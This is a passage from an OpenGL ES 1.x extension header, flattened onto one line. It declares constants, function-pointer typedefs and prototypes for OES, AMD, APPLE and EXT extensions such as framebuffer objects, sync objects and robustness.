glMultMatrixxOES (const GLfixed *m); GL_API void GL_APIENTRY glMultiTexCoord4xOES (GLenum texture, GLfixed s, GLfixed t, GLfixed r, GLfixed q); GL_API void GL_APIENTRY glNormal3xOES (GLfixed nx, GLfixed ny, GLfixed nz); GL_API void GL_APIENTRY glOrthoxOES (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); GL_API void GL_APIENTRY glPointParameterxvOES (GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glPointSizexOES (GLfixed size); GL_API void GL_APIENTRY glPolygonOffsetxOES (GLfixed factor, GLfixed units); GL_API void GL_APIENTRY glRotatexOES (GLfixed angle, GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glScalexOES (GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glTexEnvxOES (GLenum target, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glTexEnvxvOES (GLenum target, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glTexParameterxOES (GLenum target, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glTexParameterxvOES (GLenum target, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glTranslatexOES (GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glGetLightxvOES (GLenum light, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetMaterialxvOES (GLenum face, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glPointParameterxOES (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glSampleCoveragexOES (GLclampx value, GLboolean invert); GL_API void GL_APIENTRY glGetTexGenxvOES (GLenum coord, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glTexGenxOES (GLenum coord, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glTexGenxvOES (GLenum coord, GLenum pname, const GLfixed *params); #endif #endif /* GL_OES_fixed_point */ #ifndef GL_OES_framebuffer_object #define GL_OES_framebuffer_object 1 #define GL_NONE_OES 0 #define GL_FRAMEBUFFER_OES 0x8D40 #define GL_RENDERBUFFER_OES 0x8D41 #define GL_RGBA4_OES 0x8056 #define GL_RGB5_A1_OES 0x8057 #define GL_RGB565_OES 0x8D62 #define GL_DEPTH_COMPONENT16_OES 0x81A5 #define GL_RENDERBUFFER_WIDTH_OES 0x8D42 #define GL_RENDERBUFFER_HEIGHT_OES 0x8D43 #define GL_RENDERBUFFER_INTERNAL_FORMAT_OES 0x8D44 #define GL_RENDERBUFFER_RED_SIZE_OES 0x8D50 #define GL_RENDERBUFFER_GREEN_SIZE_OES 0x8D51 #define GL_RENDERBUFFER_BLUE_SIZE_OES 0x8D52 #define GL_RENDERBUFFER_ALPHA_SIZE_OES 0x8D53 #define GL_RENDERBUFFER_DEPTH_SIZE_OES 0x8D54 #define GL_RENDERBUFFER_STENCIL_SIZE_OES 0x8D55 #define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_OES 0x8CD0 #define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_OES 0x8CD1 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_OES 0x8CD2 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_OES 0x8CD3 #define GL_COLOR_ATTACHMENT0_OES 0x8CE0 #define GL_DEPTH_ATTACHMENT_OES 0x8D00 #define GL_STENCIL_ATTACHMENT_OES 0x8D20 #define GL_FRAMEBUFFER_COMPLETE_OES 0x8CD5 #define GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_OES 0x8CD6 #define GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_OES 0x8CD7 #define GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_OES 0x8CD9 #define GL_FRAMEBUFFER_INCOMPLETE_FORMATS_OES 0x8CDA #define GL_FRAMEBUFFER_UNSUPPORTED_OES 0x8CDD #define GL_FRAMEBUFFER_BINDING_OES 0x8CA6 #define GL_RENDERBUFFER_BINDING_OES 0x8CA7 #define GL_MAX_RENDERBUFFER_SIZE_OES 0x84E8 #define GL_INVALID_FRAMEBUFFER_OPERATION_OES 0x0506 typedef GLboolean (GL_APIENTRYP PFNGLISRENDERBUFFEROESPROC) (GLuint renderbuffer); typedef void (GL_APIENTRYP PFNGLBINDRENDERBUFFEROESPROC) (GLenum target, GLuint renderbuffer); typedef void (GL_APIENTRYP PFNGLDELETERENDERBUFFERSOESPROC) (GLsizei n, const GLuint *renderbuffers); typedef void (GL_APIENTRYP PFNGLGENRENDERBUFFERSOESPROC) (GLsizei n, GLuint *renderbuffers); typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEOESPROC) (GLenum target, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLGETRENDERBUFFERPARAMETERIVOESPROC) (GLenum target, GLenum pname, GLint *params); typedef GLboolean (GL_APIENTRYP PFNGLISFRAMEBUFFEROESPROC) (GLuint framebuffer); typedef void (GL_APIENTRYP PFNGLBINDFRAMEBUFFEROESPROC) (GLenum target, GLuint framebuffer); typedef void (GL_APIENTRYP PFNGLDELETEFRAMEBUFFERSOESPROC) (GLsizei n, const GLuint *framebuffers); typedef void (GL_APIENTRYP PFNGLGENFRAMEBUFFERSOESPROC) (GLsizei n, GLuint *framebuffers); typedef GLenum (GL_APIENTRYP PFNGLCHECKFRAMEBUFFERSTATUSOESPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERRENDERBUFFEROESPROC) (GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DOESPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level); typedef void (GL_APIENTRYP PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVOESPROC) (GLenum target, GLenum attachment, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGENERATEMIPMAPOESPROC) (GLenum target); #ifdef GL_GLEXT_PROTOTYPES GL_API GLboolean GL_APIENTRY glIsRenderbufferOES (GLuint renderbuffer); GL_API void GL_APIENTRY glBindRenderbufferOES (GLenum target, GLuint renderbuffer); GL_API void GL_APIENTRY glDeleteRenderbuffersOES (GLsizei n, const GLuint *renderbuffers); GL_API void GL_APIENTRY glGenRenderbuffersOES (GLsizei n, GLuint *renderbuffers); GL_API void GL_APIENTRY glRenderbufferStorageOES (GLenum target, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glGetRenderbufferParameterivOES (GLenum target, GLenum pname, GLint *params); GL_API GLboolean GL_APIENTRY glIsFramebufferOES (GLuint framebuffer); GL_API void GL_APIENTRY glBindFramebufferOES (GLenum target, GLuint framebuffer); GL_API void GL_APIENTRY glDeleteFramebuffersOES (GLsizei n, const GLuint *framebuffers); GL_API void GL_APIENTRY glGenFramebuffersOES (GLsizei n, GLuint *framebuffers); GL_API GLenum GL_APIENTRY glCheckFramebufferStatusOES (GLenum target); GL_API void GL_APIENTRY glFramebufferRenderbufferOES (GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer); GL_API void GL_APIENTRY glFramebufferTexture2DOES (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level); GL_API void GL_APIENTRY glGetFramebufferAttachmentParameterivOES (GLenum target, GLenum attachment, GLenum pname, GLint *params); GL_API void GL_APIENTRY glGenerateMipmapOES (GLenum target); #endif #endif /* GL_OES_framebuffer_object */ #ifndef GL_OES_mapbuffer #define GL_OES_mapbuffer 1 #define GL_WRITE_ONLY_OES 0x88B9 #define GL_BUFFER_ACCESS_OES 0x88BB #define GL_BUFFER_MAPPED_OES 0x88BC #define GL_BUFFER_MAP_POINTER_OES 0x88BD typedef void *(GL_APIENTRYP PFNGLMAPBUFFEROESPROC) (GLenum target, GLenum access); typedef GLboolean (GL_APIENTRYP PFNGLUNMAPBUFFEROESPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLGETBUFFERPOINTERVOESPROC) (GLenum target, GLenum pname, void **params); #ifdef GL_GLEXT_PROTOTYPES GL_API void *GL_APIENTRY glMapBufferOES (GLenum target, GLenum access); GL_API GLboolean GL_APIENTRY glUnmapBufferOES (GLenum target); GL_API void GL_APIENTRY glGetBufferPointervOES (GLenum target, GLenum pname, void **params); #endif #endif /* GL_OES_mapbuffer */ #ifndef GL_OES_matrix_get #define GL_OES_matrix_get 1 #define GL_MODELVIEW_MATRIX_FLOAT_AS_INT_BITS_OES 0x898D #define GL_PROJECTION_MATRIX_FLOAT_AS_INT_BITS_OES 0x898E #define GL_TEXTURE_MATRIX_FLOAT_AS_INT_BITS_OES 0x898F #endif /* GL_OES_matrix_get */ #ifndef GL_OES_matrix_palette #define GL_OES_matrix_palette 1 #define GL_MAX_VERTEX_UNITS_OES 0x86A4 #define GL_MAX_PALETTE_MATRICES_OES 0x8842 #define GL_MATRIX_PALETTE_OES 0x8840 #define GL_MATRIX_INDEX_ARRAY_OES 0x8844 #define GL_WEIGHT_ARRAY_OES 0x86AD #define GL_CURRENT_PALETTE_MATRIX_OES 0x8843 #define GL_MATRIX_INDEX_ARRAY_SIZE_OES 0x8846 #define GL_MATRIX_INDEX_ARRAY_TYPE_OES 0x8847 #define GL_MATRIX_INDEX_ARRAY_STRIDE_OES 0x8848 #define GL_MATRIX_INDEX_ARRAY_POINTER_OES 0x8849 #define GL_MATRIX_INDEX_ARRAY_BUFFER_BINDING_OES 0x8B9E #define GL_WEIGHT_ARRAY_SIZE_OES 0x86AB #define GL_WEIGHT_ARRAY_TYPE_OES 0x86A9 #define GL_WEIGHT_ARRAY_STRIDE_OES 0x86AA #define GL_WEIGHT_ARRAY_POINTER_OES 0x86AC #define GL_WEIGHT_ARRAY_BUFFER_BINDING_OES 0x889E typedef void (GL_APIENTRYP PFNGLCURRENTPALETTEMATRIXOESPROC) (GLuint matrixpaletteindex); typedef void (GL_APIENTRYP PFNGLLOADPALETTEFROMMODELVIEWMATRIXOESPROC) (void); typedef void (GL_APIENTRYP PFNGLMATRIXINDEXPOINTEROESPROC) (GLint size, GLenum type, GLsizei stride, const void *pointer); typedef void (GL_APIENTRYP PFNGLWEIGHTPOINTEROESPROC) (GLint size, GLenum type, GLsizei stride, const void *pointer); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glCurrentPaletteMatrixOES (GLuint matrixpaletteindex); GL_API void GL_APIENTRY glLoadPaletteFromModelViewMatrixOES (void); GL_API void GL_APIENTRY glMatrixIndexPointerOES (GLint size, GLenum type, GLsizei stride, const void *pointer); GL_API void GL_APIENTRY glWeightPointerOES (GLint size, GLenum type, GLsizei stride, const void *pointer); #endif #endif /* GL_OES_matrix_palette */ #ifndef GL_OES_packed_depth_stencil #define GL_OES_packed_depth_stencil 1 #define GL_DEPTH_STENCIL_OES 0x84F9 #define GL_UNSIGNED_INT_24_8_OES 0x84FA #define GL_DEPTH24_STENCIL8_OES 0x88F0 #endif /* GL_OES_packed_depth_stencil */ #ifndef GL_OES_query_matrix #define GL_OES_query_matrix 1 typedef GLbitfield (GL_APIENTRYP PFNGLQUERYMATRIXXOESPROC) (GLfixed *mantissa, GLint *exponent); #ifdef GL_GLEXT_PROTOTYPES GL_API GLbitfield GL_APIENTRY glQueryMatrixxOES (GLfixed *mantissa, GLint *exponent); #endif #endif /* GL_OES_query_matrix */ #ifndef GL_OES_required_internalformat #define GL_OES_required_internalformat 1 #define GL_ALPHA8_OES 0x803C #define GL_LUMINANCE4_ALPHA4_OES 0x8043 #define GL_LUMINANCE8_ALPHA8_OES 0x8045 #define GL_LUMINANCE8_OES 0x8040 #define GL_RGB8_OES 0x8051 #define GL_RGBA8_OES 0x8058 #define GL_RGB10_EXT 0x8052 #define GL_RGB10_A2_EXT 0x8059 #endif /* GL_OES_required_internalformat */ #ifndef GL_OES_rgb8_rgba8 #define GL_OES_rgb8_rgba8 1 #endif /* GL_OES_rgb8_rgba8 */ #ifndef GL_OES_single_precision #define GL_OES_single_precision 1 typedef void (GL_APIENTRYP PFNGLCLEARDEPTHFOESPROC) (GLclampf depth); typedef void (GL_APIENTRYP PFNGLCLIPPLANEFOESPROC) (GLenum plane, const GLfloat *equation); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEFOESPROC) (GLclampf n, GLclampf f); typedef void (GL_APIENTRYP PFNGLFRUSTUMFOESPROC) (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); typedef void (GL_APIENTRYP PFNGLGETCLIPPLANEFOESPROC) (GLenum plane, GLfloat *equation); typedef void (GL_APIENTRYP PFNGLORTHOFOESPROC) (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glClearDepthfOES (GLclampf depth); GL_API void GL_APIENTRY glClipPlanefOES (GLenum plane, const GLfloat *equation); GL_API void GL_APIENTRY glDepthRangefOES (GLclampf n, GLclampf f); GL_API void GL_APIENTRY glFrustumfOES (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); GL_API void GL_APIENTRY glGetClipPlanefOES (GLenum plane, GLfloat *equation); GL_API void GL_APIENTRY glOrthofOES (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); #endif #endif /* GL_OES_single_precision */ #ifndef GL_OES_stencil1 #define GL_OES_stencil1 1 #define GL_STENCIL_INDEX1_OES 0x8D46 #endif /* GL_OES_stencil1 */ #ifndef GL_OES_stencil4 #define GL_OES_stencil4 1 #define GL_STENCIL_INDEX4_OES 0x8D47 #endif /* GL_OES_stencil4 */ #ifndef GL_OES_stencil8 #define GL_OES_stencil8 1 #define GL_STENCIL_INDEX8_OES 0x8D48 #endif /* GL_OES_stencil8 */ #ifndef GL_OES_stencil_wrap #define GL_OES_stencil_wrap 1 #define GL_INCR_WRAP_OES 0x8507 #define GL_DECR_WRAP_OES 0x8508 #endif /* GL_OES_stencil_wrap */ #ifndef GL_OES_surfaceless_context #define GL_OES_surfaceless_context 1 #define GL_FRAMEBUFFER_UNDEFINED_OES 0x8219 #endif /* GL_OES_surfaceless_context */ #ifndef GL_OES_texture_cube_map #define GL_OES_texture_cube_map 1 #define GL_NORMAL_MAP_OES 0x8511 #define GL_REFLECTION_MAP_OES 0x8512 #define GL_TEXTURE_CUBE_MAP_OES 0x8513 #define GL_TEXTURE_BINDING_CUBE_MAP_OES 0x8514 #define GL_TEXTURE_CUBE_MAP_POSITIVE_X_OES 0x8515 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_X_OES 0x8516 #define GL_TEXTURE_CUBE_MAP_POSITIVE_Y_OES 0x8517 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_OES 0x8518 #define GL_TEXTURE_CUBE_MAP_POSITIVE_Z_OES 0x8519 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_OES 0x851A #define GL_MAX_CUBE_MAP_TEXTURE_SIZE_OES 0x851C #define GL_TEXTURE_GEN_MODE_OES 0x2500 #define GL_TEXTURE_GEN_STR_OES 0x8D60 typedef void (GL_APIENTRYP PFNGLTEXGENFOESPROC) (GLenum coord, GLenum pname, GLfloat param); typedef void (GL_APIENTRYP PFNGLTEXGENFVOESPROC) (GLenum coord, GLenum pname, const GLfloat *params); typedef void (GL_APIENTRYP PFNGLTEXGENIOESPROC) (GLenum coord, GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLTEXGENIVOESPROC) (GLenum coord, GLenum pname, const GLint *params); typedef void (GL_APIENTRYP PFNGLGETTEXGENFVOESPROC) (GLenum coord, GLenum pname, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETTEXGENIVOESPROC) (GLenum coord, GLenum pname, GLint *params); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glTexGenfOES (GLenum coord, GLenum pname, GLfloat param); GL_API void GL_APIENTRY glTexGenfvOES (GLenum coord, GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glTexGeniOES (GLenum coord, GLenum pname, GLint param); GL_API void GL_APIENTRY glTexGenivOES (GLenum coord, GLenum pname, const GLint *params); GL_API void GL_APIENTRY glGetTexGenfvOES (GLenum coord, GLenum pname, GLfloat *params); GL_API void GL_APIENTRY glGetTexGenivOES (GLenum coord, GLenum pname, GLint *params); #endif #endif /* GL_OES_texture_cube_map */ #ifndef GL_OES_texture_env_crossbar #define GL_OES_texture_env_crossbar 1 #endif /* GL_OES_texture_env_crossbar */ #ifndef GL_OES_texture_mirrored_repeat #define GL_OES_texture_mirrored_repeat 1 #define GL_MIRRORED_REPEAT_OES 0x8370 #endif /* GL_OES_texture_mirrored_repeat */ #ifndef GL_OES_texture_npot #define GL_OES_texture_npot 1 #endif /* GL_OES_texture_npot */ #ifndef GL_OES_vertex_array_object #define GL_OES_vertex_array_object 1 #define GL_VERTEX_ARRAY_BINDING_OES 0x85B5 typedef void (GL_APIENTRYP PFNGLBINDVERTEXARRAYOESPROC) (GLuint array); typedef void (GL_APIENTRYP PFNGLDELETEVERTEXARRAYSOESPROC) (GLsizei n, const GLuint *arrays); typedef void (GL_APIENTRYP PFNGLGENVERTEXARRAYSOESPROC) (GLsizei n, GLuint *arrays); typedef GLboolean (GL_APIENTRYP PFNGLISVERTEXARRAYOESPROC) (GLuint array); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glBindVertexArrayOES (GLuint array); GL_API void GL_APIENTRY glDeleteVertexArraysOES (GLsizei n, const GLuint *arrays); GL_API void GL_APIENTRY glGenVertexArraysOES (GLsizei n, GLuint *arrays); GL_API GLboolean GL_APIENTRY glIsVertexArrayOES (GLuint array); #endif #endif /* GL_OES_vertex_array_object */ #ifndef GL_AMD_compressed_3DC_texture #define GL_AMD_compressed_3DC_texture 1 #define GL_3DC_X_AMD 0x87F9 #define GL_3DC_XY_AMD 0x87FA #endif /* GL_AMD_compressed_3DC_texture */ #ifndef GL_AMD_compressed_ATC_texture #define GL_AMD_compressed_ATC_texture 1 #define GL_ATC_RGB_AMD 0x8C92 #define GL_ATC_RGBA_EXPLICIT_ALPHA_AMD 0x8C93 #define GL_ATC_RGBA_INTERPOLATED_ALPHA_AMD 0x87EE #endif /* GL_AMD_compressed_ATC_texture */ #ifndef GL_APPLE_copy_texture_levels #define GL_APPLE_copy_texture_levels 1 typedef void (GL_APIENTRYP PFNGLCOPYTEXTURELEVELSAPPLEPROC) (GLuint destinationTexture, GLuint sourceTexture, GLint sourceBaseLevel, GLsizei sourceLevelCount); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glCopyTextureLevelsAPPLE (GLuint destinationTexture, GLuint sourceTexture, GLint sourceBaseLevel, GLsizei sourceLevelCount); #endif #endif /* GL_APPLE_copy_texture_levels */ #ifndef GL_APPLE_framebuffer_multisample #define GL_APPLE_framebuffer_multisample 1 #define GL_RENDERBUFFER_SAMPLES_APPLE 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_APPLE 0x8D56 #define GL_MAX_SAMPLES_APPLE 0x8D57 #define GL_READ_FRAMEBUFFER_APPLE 0x8CA8 #define GL_DRAW_FRAMEBUFFER_APPLE 0x8CA9 #define GL_DRAW_FRAMEBUFFER_BINDING_APPLE 0x8CA6 #define GL_READ_FRAMEBUFFER_BINDING_APPLE 0x8CAA typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEAPPLEPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLRESOLVEMULTISAMPLEFRAMEBUFFERAPPLEPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glRenderbufferStorageMultisampleAPPLE (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glResolveMultisampleFramebufferAPPLE (void); #endif #endif /* GL_APPLE_framebuffer_multisample */ #ifndef GL_APPLE_sync #define GL_APPLE_sync 1 typedef struct __GLsync *GLsync; typedef khronos_uint64_t GLuint64; typedef khronos_int64_t GLint64; #define GL_SYNC_OBJECT_APPLE 0x8A53 #define GL_MAX_SERVER_WAIT_TIMEOUT_APPLE 0x9111 #define GL_OBJECT_TYPE_APPLE 0x9112 #define GL_SYNC_CONDITION_APPLE 0x9113 #define GL_SYNC_STATUS_APPLE 0x9114 #define GL_SYNC_FLAGS_APPLE 0x9115 #define GL_SYNC_FENCE_APPLE 0x9116 #define GL_SYNC_GPU_COMMANDS_COMPLETE_APPLE 0x9117 #define GL_UNSIGNALED_APPLE 0x9118 #define GL_SIGNALED_APPLE 0x9119 #define GL_ALREADY_SIGNALED_APPLE 0x911A #define GL_TIMEOUT_EXPIRED_APPLE 0x911B #define GL_CONDITION_SATISFIED_APPLE 0x911C #define GL_WAIT_FAILED_APPLE 0x911D #define GL_SYNC_FLUSH_COMMANDS_BIT_APPLE 0x00000001 #define GL_TIMEOUT_IGNORED_APPLE 0xFFFFFFFFFFFFFFFFull typedef GLsync (GL_APIENTRYP PFNGLFENCESYNCAPPLEPROC) (GLenum condition, GLbitfield flags); typedef GLboolean (GL_APIENTRYP PFNGLISSYNCAPPLEPROC) (GLsync sync); typedef void (GL_APIENTRYP PFNGLDELETESYNCAPPLEPROC) (GLsync sync); typedef GLenum (GL_APIENTRYP PFNGLCLIENTWAITSYNCAPPLEPROC) (GLsync sync, GLbitfield flags, GLuint64 timeout); typedef void (GL_APIENTRYP PFNGLWAITSYNCAPPLEPROC) (GLsync sync, GLbitfield flags, GLuint64 timeout); typedef void (GL_APIENTRYP PFNGLGETINTEGER64VAPPLEPROC) (GLenum pname, GLint64 *params); typedef void (GL_APIENTRYP PFNGLGETSYNCIVAPPLEPROC) (GLsync sync, GLenum pname, GLsizei bufSize, GLsizei *length, GLint *values); #ifdef GL_GLEXT_PROTOTYPES GL_API GLsync GL_APIENTRY glFenceSyncAPPLE (GLenum condition, GLbitfield flags); GL_API GLboolean GL_APIENTRY glIsSyncAPPLE (GLsync sync); GL_API void GL_APIENTRY glDeleteSyncAPPLE (GLsync sync); GL_API GLenum GL_APIENTRY glClientWaitSyncAPPLE (GLsync sync, GLbitfield flags, GLuint64 timeout); GL_API void GL_APIENTRY glWaitSyncAPPLE (GLsync sync, GLbitfield flags, GLuint64 timeout); GL_API void GL_APIENTRY glGetInteger64vAPPLE (GLenum pname, GLint64 *params); GL_API void GL_APIENTRY glGetSyncivAPPLE (GLsync sync, GLenum pname, GLsizei bufSize, GLsizei *length, GLint *values); #endif #endif /* GL_APPLE_sync */ #ifndef GL_APPLE_texture_2D_limited_npot #define GL_APPLE_texture_2D_limited_npot 1 #endif /* GL_APPLE_texture_2D_limited_npot */ #ifndef GL_APPLE_texture_format_BGRA8888 #define GL_APPLE_texture_format_BGRA8888 1 #define GL_BGRA_EXT 0x80E1 #define GL_BGRA8_EXT 0x93A1 #endif /* GL_APPLE_texture_format_BGRA8888 */ #ifndef GL_APPLE_texture_max_level #define GL_APPLE_texture_max_level 1 #define GL_TEXTURE_MAX_LEVEL_APPLE 0x813D #endif /* GL_APPLE_texture_max_level */ #ifndef GL_ARM_rgba8 #define GL_ARM_rgba8 1 #endif /* GL_ARM_rgba8 */ #ifndef GL_EXT_blend_minmax #define GL_EXT_blend_minmax 1 #define GL_MIN_EXT 0x8007 #define GL_MAX_EXT 0x8008 #endif /* GL_EXT_blend_minmax */ #ifndef GL_EXT_debug_marker #define GL_EXT_debug_marker 1 typedef char GLchar; typedef void (GL_APIENTRYP PFNGLINSERTEVENTMARKEREXTPROC) (GLsizei length, const GLchar *marker); typedef void (GL_APIENTRYP PFNGLPUSHGROUPMARKEREXTPROC) (GLsizei length, const GLchar *marker); typedef void (GL_APIENTRYP PFNGLPOPGROUPMARKEREXTPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glInsertEventMarkerEXT (GLsizei length, const GLchar *marker); GL_API void GL_APIENTRY glPushGroupMarkerEXT (GLsizei length, const GLchar *marker); GL_API void GL_APIENTRY glPopGroupMarkerEXT (void); #endif #endif /* GL_EXT_debug_marker */ #ifndef GL_EXT_discard_framebuffer #define GL_EXT_discard_framebuffer 1 #define GL_COLOR_EXT 0x1800 #define GL_DEPTH_EXT 0x1801 #define GL_STENCIL_EXT 0x1802 typedef void (GL_APIENTRYP PFNGLDISCARDFRAMEBUFFEREXTPROC) (GLenum target, GLsizei numAttachments, const GLenum *attachments); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glDiscardFramebufferEXT (GLenum target, GLsizei numAttachments, const GLenum *attachments); #endif #endif /* GL_EXT_discard_framebuffer */ #ifndef GL_EXT_map_buffer_range #define GL_EXT_map_buffer_range 1 #define GL_MAP_READ_BIT_EXT 0x0001 #define GL_MAP_WRITE_BIT_EXT 0x0002 #define GL_MAP_INVALIDATE_RANGE_BIT_EXT 0x0004 #define GL_MAP_INVALIDATE_BUFFER_BIT_EXT 0x0008 #define GL_MAP_FLUSH_EXPLICIT_BIT_EXT 0x0010 #define GL_MAP_UNSYNCHRONIZED_BIT_EXT 0x0020 typedef void *(GL_APIENTRYP PFNGLMAPBUFFERRANGEEXTPROC) (GLenum target, GLintptr offset, GLsizeiptr length, GLbitfield access); typedef void (GL_APIENTRYP PFNGLFLUSHMAPPEDBUFFERRANGEEXTPROC) (GLenum target, GLintptr offset, GLsizeiptr length); #ifdef GL_GLEXT_PROTOTYPES GL_API void *GL_APIENTRY glMapBufferRangeEXT (GLenum target, GLintptr offset, GLsizeiptr length, GLbitfield access); GL_API void GL_APIENTRY glFlushMappedBufferRangeEXT (GLenum target, GLintptr offset, GLsizeiptr length); #endif #endif /* GL_EXT_map_buffer_range */ #ifndef GL_EXT_multi_draw_arrays #define GL_EXT_multi_draw_arrays 1 typedef void (GL_APIENTRYP PFNGLMULTIDRAWARRAYSEXTPROC) (GLenum mode, const GLint *first, const GLsizei *count, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLMULTIDRAWELEMENTSEXTPROC) (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glMultiDrawArraysEXT (GLenum mode, const GLint *first, const GLsizei *count, GLsizei primcount); GL_API void GL_APIENTRY glMultiDrawElementsEXT (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount); #endif #endif /* GL_EXT_multi_draw_arrays */ #ifndef GL_EXT_multisampled_render_to_texture #define GL_EXT_multisampled_render_to_texture 1 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_SAMPLES_EXT 0x8D6C #define GL_RENDERBUFFER_SAMPLES_EXT 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_EXT 0x8D56 #define GL_MAX_SAMPLES_EXT 0x8D57 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEEXTPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DMULTISAMPLEEXTPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glRenderbufferStorageMultisampleEXT (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glFramebufferTexture2DMultisampleEXT (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #endif #endif /* GL_EXT_multisampled_render_to_texture */ #ifndef GL_EXT_read_format_bgra #define GL_EXT_read_format_bgra 1 #define GL_UNSIGNED_SHORT_4_4_4_4_REV_EXT 0x8365 #define GL_UNSIGNED_SHORT_1_5_5_5_REV_EXT 0x8366 #endif /* GL_EXT_read_format_bgra */ #ifndef GL_EXT_robustness #define GL_EXT_robustness 1 #define GL_GUILTY_CONTEXT_RESET_EXT 0x8253 #define GL_INNOCENT_CONTEXT_RESET_EXT 0x8254 #define GL_UNKNOWN_CONTEXT_RESET_EXT 0x8255 #define GL_CONTEXT_ROBUST_ACCESS_EXT 0x90F3 #define GL_RESET_NOTIFICATION_STRATEGY_EXT 0x8256 #define GL_LOSE_CONTEXT_ON_RESET_EXT 0x8252 #define GL_NO_RESET_NOTIFICATION_EXT 0x8261 typedef GLenum (GL_APIENTRYP PFNGLGETGRAPHICSRESETSTATUSEXTPROC) (void); typedef void (GL_APIENTRYP PFNGLREADNPIXELSEXTPROC) (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMFVEXTPROC) (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMIVEXTPROC) (GLuint program, GLint location, GLsizei bufSize, GLint *params); #ifdef GL_GLEXT_PROTOTYPES GL_API GLenum GL_APIENTRY glGetGraphicsResetStatusEXT (void); GL_API void GL_APIENTRY glReadnPixelsEXT (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); GL_API void GL_APIENTRY glGetnUniformfvEXT (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); GL_API void GL_APIENTRY glGetnUniformivEXT (GLuint program, GLint location, GLsizei bufSize, GLint *params); #endif #endif /* GL_EXT_robustness */ #ifndef GL_EXT_sRGB #define GL_EXT_sRGB 1 #define GL_SRGB_EXT 0x8C40 #define GL_SRGB_ALPHA_EXT 0x8C42 #define 